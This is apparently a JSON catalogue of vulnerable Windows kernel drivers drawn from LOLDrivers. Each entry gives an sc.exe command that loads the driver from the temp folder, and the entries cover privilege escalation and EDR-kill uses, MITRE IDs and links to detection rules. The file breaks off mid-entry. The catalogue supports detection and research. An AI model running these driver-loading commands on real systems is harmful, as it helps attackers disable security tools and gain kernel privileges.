    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ppa_x64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ppa_x64.sys type=kernel && sc.exe start ppa_x64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ppa_x64.sys\"\n\n# ppa_x64.sys\n\nppa_x64.sys is a kernel driver by Remko Weijnen that provides physical memory access via the PhysicalMemory section object. The device name PhyMem indicates this is part of the PhyMem driver family, of which several variants are already tracked in LOLDrivers (phymem64.sys, Phymemx64.sys, phymem_ext64.sys). The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ppa-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ppa_x64.sys is a kernel driver by Remko Weijnen that provides physical memory access via the PhysicalMemory section object. The device name PhyMem indicates this is part of the PhyMem driver family, of which several variants are already tracked in LOLDrivers (phymem64.sys, Phymemx64.sys, phymem_ext64.sys). The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.",
    "execution": {
      "template": "sc.exe create ppa_x64 binPath=C:\\windows\\temp\\ppa_x64.sys type=kernel && sc.exe start ppa_x64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-ppa-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load ppa_x64.sys kernel driver",
        "commands": [
          "sc.exe create ppa_x64 binPath=C:\\windows\\temp\\ppa_x64.sys type=kernel && sc.exe start ppa_x64"
        ]
      }
    ],
    "name": "ppa_x64.sys",
    "namespace": "windows:kernel:ppa-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/315"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create probmon.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\probmon.sys type=kernel && sc.exe start probmon.sys\"\n\n# probmon.sys\n\nA vulnerable kernel driver that can be used to terminate arbitrary processes\n\n**Use Case:** EDR Kill\n\n**Required Privileges:** Admin privileges\n\n**MITRE ATT&CK:** T1562\n",
    "_source": "windows-kernel-probmon.md",
    "author": "Antonio Parata, Andrea Monzani",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "A vulnerable kernel driver that can be used to terminate arbitrary processes",
    "execution": {
      "template": "sc.exe create probmon.sys binPath=C:\\windows\\temp\\probmon.sys type=kernel && sc.exe start probmon.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-probmon",
    "install": [
      {
        "method": "custom",
        "description": "Load probmon.sys kernel driver",
        "commands": [
          "sc.exe create probmon.sys binPath=C:\\windows\\temp\\probmon.sys type=kernel && sc.exe start probmon.sys"
        ]
      }
    ],
    "name": "probmon.sys",
    "namespace": "windows:kernel:probmon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/en/eset-research/embargo-ransomware-rocknrust/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create procexp.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\procexp.Sys type=kernel && sc.exe start procexp.Sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver procexp.Sys\"\n\n# procexp.Sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-procexp.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/075de997497262a9d105afeadaaefc6348b25ce0e0126505c24aa9396c251e85.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/16a2e578bc8683f17a175480fea4f53c838cfae965f1d4caa47eaf9e0b3415c1.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/1b00d6e5d40b1b84ca63da0e99246574cdd2a533122bc83746f06c0d66e63a6e.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/30abc0cc700fdebc74e62d574addc08f6227f9c7177d9eaa8cbc37d5c017c9bb.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/3503ea284b6819f9cb43b3e94c0bb1bf5945ccb37be6a898387e215197a4792a.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/3c7e5b25a33a7805c999d318a9523fcae46695a89f55bbdb8bb9087360323dfc.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/3ff39728f1c11d1108f65ec5eb3d722fd1a1279c530d79712e0d32b34880baaa.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/46621554728bc55438c7c241137af401250f062edef6e7efecf1a6f0f6d0c1f7.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/51e91dd108d974ae809e5fc23f6fbd16e13f672f86aa594dae4a5c4bc629b0b5.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/59b09bd69923c0b3de3239e73205b1846a5f69043546d471b259887bb141d879.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/6bfc0f425de9f4e7480aa2d1f2e08892d0553ed0df1c31e9bf3d8d702f38fa2e.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/6e944ae1bfe43a8a7cd2ea65e518a30172ce8f31223bdfd39701b2cb41d8a9e7.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/77950e2a40ac0447ae7ee1ee3ef1242ce22796a157074e6f04e345b1956e143c.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/7a48f92a9c2d95a72e18055cac28c1e7e6cad5f47aa735cbea5c3b82813ccfaf.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/86721ee8161096348ed3dbe1ccbf933ae004c315b1691745a8af4a0df9fed675.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/88e2e6a705d3fb71b966d9fb46dc5a4b015548daf585fb54dfcd81dc0bd3ebdc.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/89b9823ed974a5b71de8468324d45b7e9d6dc914f93615ba86c6209b25b3cbf7.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/98a123b314cba2de65f899cdbfa386532f178333389e0f0fbd544aff85be02eb.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/9d5ebd0f4585ec20a5fe3c5276df13ece5a2645d3d6f70cedcda979bd1248fc2.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/bced04bdefad6a08c763265d6993f07aa2feb57d33ed057f162a947cf0e6668f.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/bdbceca41e576841cad2f2b38ee6dbf92fd77fbbfdfe6ecf99f0623d44ef182c.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/c089a31ac95d41ed02d1e4574962f53376b36a9e60ff87769d221dc7d1a3ecfa.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/d6827cd3a8f273a66ecc33bb915df6c7dea5cc1b8134b0c348303ef50db33476.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/e07211224b02aaf68a5e4b73fc1049376623793509d9581cdaee9e601020af06.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/e3f2ee22dec15061919583e4beb8abb3b29b283e2bcb46badf2bfde65f5ea8dd.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/f29073dc99cb52fa890aae80037b48a172138f112474a1aecddae21179c93478.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/59b09bd69923c0b3de3239e73205b1846a5f69043546d471b259887bb141d879.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/9b6a84f7c40ea51c38cc4d2e93efb3375e9d98d4894a85941190d94fbe73a4e4.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create procexp.sys binPath=C:\\windows\\temp\\procexp.Sys type=kernel && sc.exe start procexp.Sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-procexp",
    "install": [
      {
        "method": "custom",
        "description": "Load procexp.Sys kernel driver",
        "commands": [
          "sc.exe create procexp.sys binPath=C:\\windows\\temp\\procexp.Sys type=kernel && sc.exe start procexp.Sys"
        ]
      }
    ],
    "name": "procexp.Sys",
    "namespace": "windows:kernel:procexp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://malware.news/t/lazarus-group-attack-case-using-vulnerability-of-certificate-software-commonly-used-by-public-institutions-and-universities/67715"
      },
      {
        "label": "Reference",
        "url": "https://waawaa.github.io/en/Bypass-PPL-Using-Process-Explorer/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/57"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      },
      {
        "label": "Reference",
        "url": "https://github.com/Yaxser/Backstab/blob/master/resources/PROCEXP.sys"
      },
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/55#issuecomment-1537161951"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ProcObsrvesx binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ProcObsrvesx.sys type=kernel && sc.exe start ProcObsrvesx\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ProcObsrvesx.sys\"\n\n# ProcObsrvesx.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-procobsrvesx.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create ProcObsrvesx binPath=C:\\windows\\temp\\ProcObsrvesx.sys type=kernel && sc.exe start ProcObsrvesx",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-procobsrvesx",
    "install": [
      {
        "method": "custom",
        "description": "Load ProcObsrvesx.sys kernel driver",
        "commands": [
          "sc.exe create ProcObsrvesx binPath=C:\\windows\\temp\\ProcObsrvesx.sys type=kernel && sc.exe start ProcObsrvesx"
        ]
      }
    ],
    "name": "ProcObsrvesx.sys",
    "namespace": "windows:kernel:procobsrvesx",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://northwave-cybersecurity.com/vulnerability-notice-escan-antivirus"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create prokiller64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\prokiller64.sys type=kernel && sc.exe start prokiller64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver prokiller64.sys\"\n\n# prokiller64.sys\n\nSigned POORTRY Samples\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-prokiller64.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Signed POORTRY Samples",
    "execution": {
      "template": "sc.exe create prokiller64.sys binPath=C:\\windows\\temp\\prokiller64.sys type=kernel && sc.exe start prokiller64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-prokiller64",
    "install": [
      {
        "method": "custom",
        "description": "Load prokiller64.sys kernel driver",
        "commands": [
          "sc.exe create prokiller64.sys binPath=C:\\windows\\temp\\prokiller64.sys type=kernel && sc.exe start prokiller64.sys"
        ]
      }
    ],
    "name": "prokiller64.sys",
    "namespace": "windows:kernel:prokiller64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      },
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2022/12/13/signed-driver-malware-moves-up-the-software-trust-chain/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ProtectS.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ProtectS.sys type=kernel && sc.exe start ProtectS.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ProtectS.sys\"\n\n# ProtectS.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-protects.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create ProtectS.sys binPath=C:\\windows\\temp\\ProtectS.sys type=kernel && sc.exe start ProtectS.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-protects",
    "install": [
      {
        "method": "custom",
        "description": "Load ProtectS.sys kernel driver",
        "commands": [
          "sc.exe create ProtectS.sys binPath=C:\\windows\\temp\\ProtectS.sys type=kernel && sc.exe start ProtectS.sys"
        ]
      }
    ],
    "name": "ProtectS.sys",
    "namespace": "windows:kernel:protects",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Proxy32.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Proxy32.sys type=kernel && sc.exe start Proxy32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Proxy32.sys\"\n\n# Proxy32.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-proxy32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create Proxy32.sys binPath=C:\\windows\\temp\\Proxy32.sys type=kernel && sc.exe start Proxy32.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "remote",
      "requires-root"
    ],
    "id": "windows-kernel-proxy32",
    "install": [
      {
        "method": "custom",
        "description": "Load Proxy32.sys kernel driver",
        "commands": [
          "sc.exe create Proxy32.sys binPath=C:\\windows\\temp\\Proxy32.sys type=kernel && sc.exe start Proxy32.sys"
        ]
      }
    ],
    "name": "Proxy32.sys",
    "namespace": "windows:kernel:proxy32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Proxy64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Proxy64.sys type=kernel && sc.exe start Proxy64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Proxy64.sys\"\n\n# Proxy64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-proxy64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create Proxy64.sys binPath=C:\\windows\\temp\\Proxy64.sys type=kernel && sc.exe start Proxy64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "remote",
      "requires-root"
    ],
    "id": "windows-kernel-proxy64",
    "install": [
      {
        "method": "custom",
        "description": "Load Proxy64.sys kernel driver",
        "commands": [
          "sc.exe create Proxy64.sys binPath=C:\\windows\\temp\\Proxy64.sys type=kernel && sc.exe start Proxy64.sys"
        ]
      }
    ],
    "name": "Proxy64.sys",
    "namespace": "windows:kernel:proxy64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ProxyDrv.sys binPath=C:\\\\windows\\\\temp\\\\ProxyDrv.sys type=kernel && sc.exe start ProxyDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ProxyDrv.sys\"\n\n# ProxyDrv.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-proxydrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "remote",
      "requires-root"
    ],
    "id": "windows-kernel-proxydrv",
    "name": "ProxyDrv.sys",
    "namespace": "windows:kernel:proxydrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create psmounterex binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\psmounterex.sys type=kernel && sc.exe start psmounterex\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver psmounterex.sys\"\n\n# psmounterex.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privelege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-psmounterex.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privelege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create psmounterex binPath=C:\\windows\\temp\\psmounterex.sys type=kernel && sc.exe start psmounterex",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-psmounterex",
    "install": [
      {
        "method": "custom",
        "description": "Load psmounterex.sys kernel driver",
        "commands": [
          "sc.exe create psmounterex binPath=C:\\windows\\temp\\psmounterex.sys type=kernel && sc.exe start psmounterex"
        ]
      }
    ],
    "name": "psmounterex.sys",
    "namespace": "windows:kernel:psmounterex",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://northwave-cybersecurity.com/exploiting-enterprise-backup-software-for-privilege-escalation-part-one"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create pxitrig64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\pxitrig64.sys type=kernel && sc.exe start pxitrig64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver pxitrig64.sys\"\n\n# pxitrig64.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 5.5, indicating a local dos impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-pxitrig64.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 5.5, indicating a local dos impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create pxitrig64 binPath=C:\\windows\\temp\\pxitrig64.sys type=kernel && sc.exe start pxitrig64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-pxitrig64",
    "install": [
      {
        "method": "custom",
        "description": "Load pxitrig64.sys kernel driver",
        "commands": [
          "sc.exe create pxitrig64 binPath=C:\\windows\\temp\\pxitrig64.sys type=kernel && sc.exe start pxitrig64"
        ]
      }
    ],
    "name": "pxitrig64.sys",
    "namespace": "windows:kernel:pxitrig64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create RadHwMgrsys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\RadHwMgrsys.sys type=kernel && sc.exe start RadHwMgrsys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver RadHwMgr.sys\"\n\n# RadHwMgr.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-radhwmgr.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
